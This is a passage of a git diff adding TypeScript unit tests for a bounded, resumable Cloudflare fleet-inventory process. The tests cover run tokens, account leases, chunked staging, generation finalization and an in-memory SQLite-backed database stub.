+    const path = decodeURIComponent(target.pathname);
+    if (!path.startsWith(`${accountPrefix}/`)) return rest(request);
+    const route = path.slice(accountPrefix.length);
+    if (route === `${kvPath}/keys`) {
+      return pageArray(SECOND_KV_ENTRIES.map(([name]) => ({ name })));
+    }
+    if (route.startsWith(`${kvPath}/values/`)) {
+      const key = route.slice(`${kvPath}/values/`.length);
+      const entry = SECOND_KV_ENTRIES.find(([name]) => name === key);
+      return entry === undefined ? notFound() : new Response(entry[1]);
+    }
+    if (route === namespacePath) {
+      // The namespace attests a DIFFERENT name, which is the trust arm the
+      // golden world never reached.
+      return single({
+        namespace_name: 'edge-renamed',
+        namespace_id: 'edge-namespace-id',
+        script_count: SECOND_DISPATCH_LISTING.length,
+        trusted_workers: false,
+      });
+    }
+    if (route === scriptsPath) {
+      return pageArray(
+        SECOND_DISPATCH_LISTING.map(({ id, tags }) => ({ id, tags })),
+      );
+    }
+    if (route.startsWith(`${scriptsPath}/`)) {
+      const remainder = route.slice(`${scriptsPath}/`.length);
+      const settingsRead = remainder.endsWith('/settings');
+      const scriptName = settingsRead
+        ? remainder.slice(0, -'/settings'.length)
+        : remainder;
+      const settings = SECOND_DISPATCH_SETTINGS[scriptName];
+      if (!settings) return notFound();
+      return settingsRead
+        ? single(settings)
+        : single({ script: { etag: `etag-${scriptName}` } });
+    }
+    return rest(request);
+  };
+}
+
+describe('bounded fleet inventory advance', () => {
+  it('materializes a second independent world exactly as its drain does', async () => {
+    const drained = await drainWithClient(
+      secondWorldHandler(secondWorld()),
+      SECOND_ACCOUNT_ID,
+      SECOND_DISPATCH_NAMESPACE,
+      SECOND_INVENTORY_OPTIONS,
+    );
+    // The MINIMUM legal provider budget forces `registration-checks` to stop
+    // mid-stage and resume, so the equivalence covers single-stage resumption
+    // rather than only the 15-stage walk.
+    const bounded = await boundedWithClient(
+      secondWorldHandler(secondWorld()),
+      SECOND_ACCOUNT_ID,
+      SECOND_DISPATCH_NAMESPACE,
+      SECOND_INVENTORY_OPTIONS,
+      9,
+    );
+
+    // The world must reach the two branches the golden baseline never did, and
+    // both sanitized detail sites, or the equivalence proves too little.
+    expect(drained.findings.map((finding) => finding.detail)).toEqual(
+      expect.arrayContaining([
+        expect.stringContaining('does not attest trusted_workers=false'),
+        expect.stringContaining(
+          'is publicly reachable on workers.dev, a preview URL, or a zone route',
+        ),
+        expect.stringContaining(INSPECT_SUFFIX),
+        expect.stringContaining(INVENTORY_SUFFIX),
+      ]),
+    );
+    expect(bounded.inventory).toEqual(sanitizedInventory(drained));
+    expect(bounded.chunks).toBeGreaterThan(1);
+    expect(
+      bounded.executed.filter((stage) => stage.step === 'registration-checks'),
+    ).toEqual([
+      { step: 'registration-checks', registrationOrdinal: 0 },
+      { step: 'registration-checks', registrationOrdinal: 1 },
+    ]);
+  });
+
+  it('refuses a provider-request budget outside 9..1000 and accepts both bounds', async () => {
+    for (const maxProviderRequests of [8, 1_001]) {
+      await expect(
+        runToCompletion({
+          context: stubContext(),
+          store: new FakeInventoryRunStore(),
+          maxProviderRequests,
+        }),
+      ).rejects.toThrow(
+        'maxProviderRequests must be an integer from 9 to 1000',
+      );
+    }
+    for (const maxProviderRequests of [9, 1_000]) {
+      const result = await runToCompletion({
+        context: stubContext(),
+        store: new FakeInventoryRunStore(),
+        maxProviderRequests,
+      });
+      expect(result.status).toBe('complete');
+    }
+  });
+
+  it('refuses a staged-row budget outside 1..2000 and accepts both bounds', async () => {
+    for (const maxStagedRowsPerChunk of [0, 2_001]) {
+      await expect(
+        runToCompletion({
+          context: stubContext(),
+          store: new FakeInventoryRunStore(),
+          maxProviderRequests: MAX_PROVIDER_REQUESTS,
+          maxStagedRowsPerChunk,
+        }),
+      ).rejects.toThrow(
+        'maxStagedRowsPerChunk must be an integer from 1 to 2000',
+      );
+    }
+    for (const maxStagedRowsPerChunk of [1, 2_000]) {
+      const result = await runToCompletion({
+        context: stubContext(),
+        store: new FakeInventoryRunStore(),
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+        maxStagedRowsPerChunk,
+      });
+      expect(result.status).toBe('complete');
+    }
+  });
+
+  it('canonicalizes and digests the options it persists at start', async () => {
+    const store = new FakeInventoryRunStore();
+    await advanceFleetInventory({
+      context: stubContext(),
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    const run = store.runs.get(OPERATION_ID);
+    const canonical: FleetInventoryRunOptions =
+      canonicalFleetInventoryRunOptions(STUB_OPTIONS);
+    expect(canonical.includeDispatchNamespace).toBe(true);
+    expect(canonical.includeR2Buckets).toBe(false);
+    expect(run?.options).toEqual(canonical);
+    expect(run?.optionsDigest).toBe(fleetInventoryOptionsDigest(canonical));
+  });
+
+  it('replays a start for the same operation without a new generation', async () => {
+    const store = new FakeInventoryRunStore();
+    const context = stubContext();
+    const first = await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    const second = await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    expect(first.token.operationId).toBe(OPERATION_ID);
+    expect(second.status).toBe('complete');
+    expect(store.runs.size).toBe(1);
+    expect(store.nextGeneration).toBe(2);
+  });
+
+  it('contends on a foreign active operation without any provider call', async () => {
+    const store = new FakeInventoryRunStore();
+    store.activeOperationId = FOREIGN_OPERATION_ID;
+    const context = stubContext();
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store,
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toThrow(
+      'another fleet inventory operation owns this account head',
+    );
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('returns the authoritative result for a stale token with zero provider calls', async () => {
+    const store = new FakeInventoryRunStore();
+    const context = stubContext();
+    const started = await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    const calls = context.inputs.length;
+
+    const stale = await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'continue',
+        token: { version: 1, operationId: OPERATION_ID, revision: 0 },
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    expect(started.token.revision).toBe(1);
+    expect(stale).toEqual(started);
+    expect(context.inputs).toHaveLength(calls);
+  });
+
+  it('refuses a token ahead of the persisted run', async () => {
+    const store = new FakeInventoryRunStore();
+    const context = stubContext();
+    await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store,
+        action: {
+          kind: 'continue',
+          token: { version: 1, operationId: OPERATION_ID, revision: 9 },
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toBeInstanceOf(FleetInventoryRunTokenFutureError);
+  });
+
+  it('rejects a future token before finalized fallback head repair', async () => {
+    const store = new FakeInventoryRunStore();
+    const context = stubContext();
+    const completed = await runToCompletion({
+      context,
+      store,
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    store.hiddenFromLease.add(OPERATION_ID);
+    store.activeOperationId = OPERATION_ID;
+    store.latestGeneration = undefined;
+    const before = {
+      activeOperationId: store.activeOperationId,
+      latestGeneration: store.latestGeneration,
+    };
+    const providerCalls = context.inputs.length;
+    const outcome = await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'continue',
+        token: { ...completed.token, revision: completed.token.revision + 1 },
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    }).catch((error: unknown) => error);
+    expect({
+      activeOperationId: store.activeOperationId,
+      latestGeneration: store.latestGeneration,
+    }).toEqual(before);
+    expect(context.inputs).toHaveLength(providerCalls);
+    expect(outcome).toBeInstanceOf(FleetInventoryRunTokenFutureError);
+  });
+
+  it('completes an unknown lease operation whose persisted run is finalized', async () => {
+    const store = new FakeInventoryRunStore();
+    const completed = await runToCompletion({
+      context: stubContext(),
+      store,
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    store.hiddenFromLease.add(OPERATION_ID);
+
+    const replay = await advanceFleetInventory({
+      context: stubContext(),
+      store,
+      action: { kind: 'continue', token: completed.token },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    expect(replay.status).toBe('complete');
+    expect(replay).toEqual(completed);
+  });
+
+  it.each([
+    'original',
+    'stale',
+    'fallback',
+    'start',
+  ] as const)('preserves the fixture latest generation and newer head through the %s finalized retry', async (retry) => {
+    const store = new FakeInventoryRunStore();
+    const completed = await runToCompletion({
+      context: stubContext(),
+      store,
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    await runToCompletion({
+      context: stubContext(),
+      store,
+      operationId: FOREIGN_OPERATION_ID,
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    const newerOperationId = '123e4567-e89b-42d3-a456-426614174002';
+    const context = stubContext();
+    await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: newerOperationId,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    if (retry === 'fallback') store.hiddenFromLease.add(OPERATION_ID);
+    const before = structuredClone({
+      runs: store.runs,
+      rows: store.rows,
+      facts: store.facts,
+      refs: store.refs,
+      latestGeneration: store.latestGeneration,
+      activeOperationId: store.activeOperationId,
+      nextGeneration: store.nextGeneration,
+    });
+    expect(before.latestGeneration).toBe(2);
+    expect(before.activeOperationId).toBe(newerOperationId);
+    const replay = await advanceFleetInventory({
+      context,
+      store,
+      action:
+        retry === 'start'
+          ? { kind: 'start', operationId: OPERATION_ID, options: STUB_OPTIONS }
+          : {
+              kind: 'continue',
+              token: {
+                ...completed.token,
+                revision: retry === 'stale' ? 0 : completed.token.revision,
+              },
+            },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    expect({
+      runs: store.runs,
+      rows: store.rows,
+      facts: store.facts,
+      refs: store.refs,
+      latestGeneration: store.latestGeneration,
+      activeOperationId: store.activeOperationId,
+      nextGeneration: store.nextGeneration,
+    }).toEqual(before);
+    expect(replay).toEqual(completed);
+    expect(context.inputs).toHaveLength(1);
+  });
+
+  it('refuses a token for an operation the store has never seen', async () => {
+    await expect(
+      advanceFleetInventory({
+        context: stubContext(),
+        store: new FakeInventoryRunStore(),
+        action: {
+          kind: 'continue',
+          token: { version: 1, operationId: OPERATION_ID, revision: 0 },
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toBeInstanceOf(FleetInventoryRunTokenOperationError);
+  });
+
+  it('refuses a malformed token before it reaches the account lease', async () => {
+    const store = new FakeInventoryRunStore();
+
+    await expect(
+      advanceFleetInventory({
+        context: stubContext(),
+        store,
+        action: { kind: 'continue', token: { version: 2, revision: -1 } },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toBeInstanceOf(FleetInventoryRunTokenError);
+    expect(store.leases).toBe(0);
+  });
+
+  it('aborts a lost lease at the dispatch boundary before any provider call', async () => {
+    const store = new FakeInventoryRunStore();
+    store.leaseLost = true;
+    const context = stubContext();
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store,
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toThrow('fleet inventory account lease was lost');
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('refuses a store that cannot stage bounded inventory runs', async () => {
+    const context = stubContext();
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store: storeWithout(
+          new FakeInventoryRunStore(),
+          'withAccountInventoryLease',
+        ),
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toThrow(
+      'fleet inventory requires a run store with bounded staging support',
+    );
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('refuses a store that cannot read finalized generations', async () => {
+    const context = stubContext();
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store: storeWithout(
+          new FakeInventoryRunStore(),
+          'readFinalizedGeneration',
+        ),
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toThrow(
+      'fleet inventory requires a run store that can read finalized generations',
+    );
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('refuses a store that cannot read a run by operation', async () => {
+    const context = stubContext();
+
+    await expect(
+      advanceFleetInventory({
+        context,
+        store: storeWithout(new FakeInventoryRunStore(), 'readRunByOperation'),
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      }),
+    ).rejects.toThrow(
+      'fleet inventory requires a run store that can read finalized generations',
+    );
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('refuses a store that cannot pin finalized generations', async () => {
+    const context = stubContext();
+    const failure = await advanceFleetInventory({
+      context,
+      store: storeWithout(new FakeInventoryRunStore(), 'pinGeneration'),
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(FleetInventoryAdvanceCapabilityError);
+    expect((failure as FleetInventoryAdvanceCapabilityError).capability).toBe(
+      'generation-pin',
+    );
+    expect(context.inputs).toHaveLength(0);
+  });
+
+  it('materializes a generation from a store that can only read it', async () => {
+    const bounded = await boundedWithClient(
+      fleetInventoryDrainHandler(fleetInventoryDrainWorld()),
+      DRAIN_ACCOUNT_ID,
+      DRAIN_DISPATCH_NAMESPACE,
+      DRAIN_INVENTORY_OPTIONS,
+    );
+    const readOnly = storeWithout(
+      storeWithout(bounded.store, 'withAccountInventoryLease'),
+      'pinGeneration',
+    );
+
+    await expect(readFleetInventoryGeneration(readOnly, 1)).resolves.toEqual(
+      bounded.inventory,
+    );
+  });
+
+  it('completes with a generation reference rather than an inventory', async () => {
+    const store = new FakeInventoryRunStore();
+    const result = await runToCompletion({
+      context: stubContext(),
+      store,
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+
+    expect(result.status).toBe('complete');
+    if (result.status !== 'complete') return;
+    expect(Object.keys(result.generation).sort()).toEqual([
+      'factCount',
+      'finalizedAtMs',
+      'generation',
+      'operationId',
+      'rowManifest',
+    ]);
+    expect(result.generation).not.toHaveProperty('findings');
+    expect(result.generation).not.toHaveProperty('deployments');
+  });
+
+  it('materializes the golden world into the baseline inventory minus the two provider details', async () => {
+    const bounded = await boundedWithClient(
+      fleetInventoryDrainHandler(fleetInventoryDrainWorld()),
+      DRAIN_ACCOUNT_ID,
+      DRAIN_DISPATCH_NAMESPACE,
+      DRAIN_INVENTORY_OPTIONS,
+    );
+
+    expect(bounded.inventory).toEqual(
+      sanitizedInventory(DRAIN_BASELINE_INVENTORY as FleetResourceInventory),
+    );
+  });
+
+  it('refuses to materialize a staging, failed, or corrupt generation', async () => {
+    const staging = new FakeInventoryRunStore();
+    await advanceFleetInventory({
+      context: stubContext(),
+      store: staging,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    });
+    await expect(readFleetInventoryGeneration(staging, 1)).rejects.toThrow(
+      'fleet inventory generation 1 is not finalized',
+    );
+
+    const failed = new FakeInventoryRunStore();
+    await failed.withAccountInventoryLease(async (lease) => {
+      await lease.startRun({
+        operationId: OPERATION_ID,
+        options: canonicalFleetInventoryRunOptions(STUB_OPTIONS),
+        optionsDigest: fleetInventoryOptionsDigest(
+          canonicalFleetInventoryRunOptions(STUB_OPTIONS),
+        ),
+      });
+      await lease.failRun({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        reason: 'operator-abandoned',
+      });
+    });
+    await expect(readFleetInventoryGeneration(failed, 1)).rejects.toThrow(
+      'fleet inventory generation 1 is not finalized',
+    );
+
+    const corrupt = await boundedWithClient(
+      fleetInventoryDrainHandler(fleetInventoryDrainWorld()),
+      DRAIN_ACCOUNT_ID,
+      DRAIN_DISPATCH_NAMESPACE,
+      DRAIN_INVENTORY_OPTIONS,
+    );
+    corrupt.store.rows.get(1)?.pop();
+    await expect(
+      readFleetInventoryGeneration(corrupt.store, 1),
+    ).rejects.toThrow(
+      'fleet inventory generation 1 does not match its manifest',
+    );
+  });
+
+  it('keeps the abort signal call-local and never persists it', async () => {
+    const store = new FakeInventoryRunStore();
+    const context = stubContext();
+    const controller = new AbortController();
+    await advanceFleetInventory({
+      context,
+      store,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+      signal: controller.signal,
+    });
+
+    expect(context.inputs[0]?.signal).toBe(controller.signal);
+    expect(JSON.stringify(store.runs.get(OPERATION_ID))).not.toContain(
+      'signal',
+    );
+
+    const aborted = new AbortController();
+    aborted.abort(new Error('inventory aborted'));
+    const abortingContext: FleetInventoryProviderContext = {
+      advanceStage: async (input) => {
+        input.signal?.throwIfAborted();
+        throw new Error('unreachable');
+      },
+    };
+    await expect(
+      advanceFleetInventory({
+        context: abortingContext,
+        store: new FakeInventoryRunStore(),
+        action: {
+          kind: 'start',
+          operationId: OPERATION_ID,
+          options: STUB_OPTIONS,
+        },
+        maxProviderRequests: MAX_PROVIDER_REQUESTS,
+        signal: aborted.signal,
+      }),
+    ).rejects.toThrow('inventory aborted');
+  });
+
+  it('never stages a secret value, credential header byte, or provider cursor', async () => {
+    const bounded = await boundedWithClient(
+      fleetInventoryDrainHandler(fleetInventoryDrainWorld()),
+      DRAIN_ACCOUNT_ID,
+      DRAIN_DISPATCH_NAMESPACE,
+      DRAIN_INVENTORY_OPTIONS,
+    );
+    const staged = JSON.stringify([
+      ...(bounded.store.rows.get(1) ?? []),
+      ...(bounded.store.facts.get(1) ?? []),
+    ]);
+    const runRecord = JSON.stringify(bounded.store.runs.get(OPERATION_ID));
+
+    for (const forbidden of [
+      'Authorization',
+      'authorization',
+      'Bearer ',
+      'token',
+    ]) {
+      expect(staged).not.toContain(forbidden);
+      expect(runRecord).not.toContain(forbidden);
+    }
+    for (const forbidden of ['cursor', 'startAfter']) {
+      expect(staged).not.toContain(forbidden);
+    }
+    // Secret NAMES are durable by design; a secret VALUE never is.
+    expect(staged).toContain('MAINTENANCE_ADMIN');
+  });
+});
+
+describe('inventory commit fixture acceptance', () => {
+  it.each([
+    'row',
+    'fact',
+  ] as const)('keeps immutable %s conflicts and duplicate keys from advancing fixture state', async (kind) => {
+    const store = new FakeInventoryRunStore();
+    const options = canonicalFleetInventoryRunOptions(STUB_OPTIONS);
+    await store.withAccountInventoryLease(async (lease) => {
+      const run = await lease.startRun({
+        operationId: OPERATION_ID,
+        options,
+        optionsDigest: fleetInventoryOptionsDigest(options),
+      });
+      const row: FleetInventoryStagedRow = {
+        kind: 'meta',
+        ordinal: 0,
+        payload: { name: 'first' },
+      };
+      const fact: FleetInventoryStagedFact = {
+        deploymentOrdinal: 0,
+        factKind: 'secret-name',
+        factOrdinal: 0,
+        payload: { name: 'first' },
+      };
+      const rows = [row];
+      const facts = [fact];
+      const intended: FleetInventoryRunRecord = {
+        ...run,
+        progress: {
+          ...run.progress,
+          revision: 1,
+          stagedCounts: { ...run.progress.stagedCounts, meta: 1 },
+          factCount: 1,
+        },
+      };
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: intended,
+        rows,
+        facts,
+      };
+      await lease.commitChunk(input);
+      const next = {
+        ...intended,
+        progress: { ...intended.progress, revision: 2 },
+      };
+      const before = structuredClone({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      });
+      const conflicting = await lease
+        .commitChunk({
+          ...input,
+          expectedRevision: 1,
+          runRecord: next,
+          rows:
+            kind === 'row'
+              ? [
+                  { kind: 'meta', ordinal: 1, payload: {} },
+                  { ...row, payload: { name: 'different' } },
+                ]
+              : rows,
+          facts:
+            kind === 'fact'
+              ? [
+                  { ...fact, factOrdinal: 1 },
+                  { ...fact, payload: { name: 'different' } },
+                ]
+              : facts,
+        })
+        .catch((error: unknown) => error);
+      expect({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      }).toEqual(before);
+      expect(conflicting).toBeInstanceOf(Error);
+      const duplicate = await lease
+        .commitChunk({
+          ...input,
+          expectedRevision: 1,
+          runRecord: next,
+          rows: kind === 'row' ? [...rows, ...rows] : rows,
+          facts: kind === 'fact' ? [...facts, ...facts] : facts,
+        })
+        .catch((error: unknown) => error);
+      expect({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      }).toEqual(before);
+      expect(duplicate).toMatchObject({
+        name: 'FleetInventoryStateError',
+        message: 'fleet inventory state is malformed',
+      });
+    });
+  });
+
+  it('supports exact fixture replay and restaging but rejects a different intended record', async () => {
+    const store = new FakeInventoryRunStore();
+    const options = canonicalFleetInventoryRunOptions(STUB_OPTIONS);
+    await store.withAccountInventoryLease(async (lease) => {
+      const run = await lease.startRun({
+        operationId: OPERATION_ID,
+        options,
+        optionsDigest: fleetInventoryOptionsDigest(options),
+      });
+      const rows: FleetInventoryStagedRow[] = [
+        { kind: 'meta', ordinal: 0, payload: { name: 'first' } },
+      ];
+      const facts: FleetInventoryStagedFact[] = [
+        {
+          deploymentOrdinal: 0,
+          factKind: 'secret-name',
+          factOrdinal: 0,
+          payload: { name: 'first' },
+        },
+      ];
+      const intended: FleetInventoryRunRecord = {
+        ...run,
+        progress: {
+          ...run.progress,
+          revision: 1,
+          stagedCounts: { ...run.progress.stagedCounts, meta: 1 },
+          factCount: 1,
+        },
+      };
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: intended,
+        rows,
+        facts,
+      };
+      await lease.commitChunk(input);
+      const before = structuredClone({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      });
+      const replay = await lease
+        .commitChunk(input)
+        .catch((error: unknown) => error);
+      expect({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      }).toEqual(before);
+      expect(replay).toEqual(intended);
+      const different = await lease
+        .commitChunk({
+          ...input,
+          runRecord: { ...intended, updatedAt: '2026-09-08T00:00:00.000Z' },
+        })
+        .catch((error: unknown) => error);
+      expect({
+        runs: store.runs,
+        rows: store.rows,
+        facts: store.facts,
+      }).toEqual(before);
+      expect(different).toBeInstanceOf(Error);
+      const next = {
+        ...intended,
+        progress: { ...intended.progress, revision: 2 },
+      };
+      await lease.commitChunk({
+        ...input,
+        runRecord: next,
+        expectedRevision: 1,
+      });
+      expect(store.rows.get(1)).toEqual(rows);
+      expect(store.facts.get(1)).toEqual(facts);
+      expect(store.runs.get(OPERATION_ID)).toEqual(next);
+    });
+  });
+
+  it('refuses provider output if the run fails before the chunk commit', async () => {
+    const store = new FakeInventoryRunStore();
+    let failed: FleetInventoryRunRecord | undefined;
+    const context: FleetInventoryProviderContext = {
+      async advanceStage(input) {
+        await store.withAccountInventoryLease((lease) =>
+          lease.failRun({
+            operationId: OPERATION_ID,
+            expectedRevision: input.progress.revision,
+            reason: 'operator-abandoned',
+          }),
+        );
+        failed = structuredClone(store.runs.get(OPERATION_ID));
+        return {
+          rows: [{ kind: 'meta', ordinal: 0, payload: {} }],
+          facts: [],
+          nextStage: { step: 'finalize' },
+          providerRequests: 1,
+          diagnostics: [],
+        };
+      },
+    };
+    const result = await advanceFleetInventory({
+      store,
+      context,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    }).catch((error: unknown) => error);
+    expect(failed?.state).toBe('failed');
+    expect(store.runs.get(OPERATION_ID)).toEqual(failed);
+    expect(store.rows.size).toBe(0);
+    expect(store.facts.size).toBe(0);
+    expect(result).toBeInstanceOf(Error);
+  });
+});
+
+describe('inventory coordinator duplicate emissions', () => {
+  it.each([
+    'row',
+    'fact',
+  ] as const)('refuses duplicate %s emissions before progress', async (kind) => {
+    const store = new FakeInventoryRunStore();
+    let initial: FleetInventoryRunRecord | undefined;
+    const row: FleetInventoryStagedRow = {
+      kind: 'meta',
+      ordinal: 0,
+      payload: {},
+    };
+    const fact: FleetInventoryStagedFact = {
+      deploymentOrdinal: 0,
+      factKind: 'secret-name',
+      factOrdinal: 0,
+      payload: { name: 'first' },
+    };
+    const context: FleetInventoryProviderContext = {
+      async advanceStage() {
+        initial = structuredClone(store.runs.get(OPERATION_ID));
+        return {
+          rows: kind === 'row' ? [row, row] : [row],
+          facts: kind === 'fact' ? [fact, fact] : [fact],
+          nextStage: { step: 'finalize' },
+          providerRequests: 1,
+          diagnostics: [],
+        };
+      },
+    };
+    const result = await advanceFleetInventory({
+      store,
+      context,
+      action: {
+        kind: 'start',
+        operationId: OPERATION_ID,
+        options: STUB_OPTIONS,
+      },
+      maxProviderRequests: MAX_PROVIDER_REQUESTS,
+    }).catch((error: unknown) => error);
+    expect(initial?.state).toBe('staging');
+    expect(store.runs.get(OPERATION_ID)).toEqual(initial);
+    expect(store.rows.size).toBe(0);
+    expect(store.facts.size).toBe(0);
+    expect(result).toBeInstanceOf(FleetInventoryStateError);
+  });
+});
diff --git a/packages/fleet-control/test/fleet-inventory-run-store.test.ts b/packages/fleet-control/test/fleet-inventory-run-store.test.ts
new file mode 100644
index 00000000..09eb19e6
--- /dev/null
+++ b/packages/fleet-control/test/fleet-inventory-run-store.test.ts
@@ -0,0 +1,2346 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js';
+import { advanceFleetInventory } from '../src/fleet-inventory-advance.js';
+import {
+  canonicalFleetInventoryRunOptions,
+  emptyFleetInventoryRowCounts,
+  FleetInventoryFindingValueError,
+  type FleetInventoryLease,
+  type FleetInventoryProviderContext,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunRecord,
+  type FleetInventoryStage,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  FleetInventoryStateError,
+  fleetInventoryOptionsDigest,
+  materializeFleetInventoryGeneration,
+} from '../src/fleet-inventory-state.js';
+import type { FleetStateDatabase } from '../src/state-store.js';
+import { deferred } from './fixtures/cloudflare-fetch-fixture.js';
+
+interface SqliteStatement {
+  all(...bindings: readonly unknown[]): Readonly<Record<string, unknown>>[];
+}
+
+interface SqliteDatabase {
+  prepare(sql: string): SqliteStatement;
+  exec(sql: string): void;
+}
+
+function openSqlite(): SqliteDatabase {
+  // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite;
+  // node:sqlite has been unflagged since Node 22.13.
+  const getBuiltin = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule;
+  if (!getBuiltin) {
+    throw new Error('node:sqlite unavailable — tests require node >= 22.13');
+  }
+  const sqlite = getBuiltin('node:sqlite') as {
+    DatabaseSync: new (path: string) => SqliteDatabase;
+  };
+  return new sqlite.DatabaseSync(':memory:');
+}
+
+class MemoryD1 implements FleetStateDatabase {
+  readonly sqlite = openSqlite();
+  /** Statements the next batch drops after committing, for lost responses. */
+  hideBatchResults = false;
+  beforeBatch: (() => void) | undefined;
+  afterBatch: (() => void) | undefined;
+  beforeStatement: ((index: number) => void) | undefined;
+  batchCalls = 0;
+
+  async query(
+    sql: string,
+    bindings: readonly unknown[] = [],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    return this.sqlite.prepare(sql).all(...bindings);
+  }
+
+  async execute(sql: string, bindings: readonly unknown[] = []): Promise<void> {
+    this.sqlite.prepare(sql).all(...bindings);
+  }
+
+  async batch(
+    statements: readonly Readonly<{
+      sql: string;
+      bindings?: readonly unknown[];
+    }>[],
+  ): Promise<readonly (readonly Readonly<Record<string, unknown>>[])[]> {
+    if (statements.length === 0) return [];
+    this.batchCalls += 1;
+    const beforeBatch = this.beforeBatch;
+    this.beforeBatch = undefined;
+    beforeBatch?.();
+    const results: Readonly<Record<string, unknown>>[][] = [];
+    const beforeStatement = this.beforeStatement;
+    this.beforeStatement = undefined;
+    this.sqlite.exec('BEGIN IMMEDIATE');
+    try {
+      for (const { sql, bindings = [] } of statements) {
+        beforeStatement?.(results.length);
+        results.push(this.sqlite.prepare(sql).all(...bindings));
+      }
+      this.sqlite.exec('COMMIT');
+    } catch (error) {
+      this.sqlite.exec('ROLLBACK');
+      throw error;
+    }
+    const afterBatch = this.afterBatch;
+    this.afterBatch = undefined;
+    afterBatch?.();
+    if (this.hideBatchResults) {
+      this.hideBatchResults = false;
+      return results.map(() => []);
+    }
+    return results;
+  }
+}
+
